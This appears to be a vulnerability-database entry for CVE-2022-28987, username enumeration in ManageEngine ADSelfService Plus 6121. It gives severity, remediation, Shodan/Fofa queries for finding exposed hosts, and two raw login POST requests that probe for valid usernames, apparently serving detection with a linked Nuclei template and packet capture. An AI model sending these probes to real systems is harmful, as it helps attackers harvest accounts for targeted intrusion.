| Title | Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can enumerate valid usernames, aiding targeted attacks or account harvesting. |
| Remediation | Update to version 6202 or later. |
| CVSS Score | 5.3 |
| EPSS Score | 0.166 |
| CVE ID | CVE-2022-28987 |
| CWE ID | CWE-203 |
| Shodan Query | http.title:"ADSelfService Plus" |
| Fofa Query | title="ADSelfService Plus" |
| Tags | cve cve2022 zoho manageengine user-enum adselfservice |
Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.
POST /ServletAPI/accounts/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 25
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
loginName=asdfnonexistent
POST /ServletAPI/accounts/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 15
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
loginName=Guest
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28987.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-28987.pcap
N/AN/A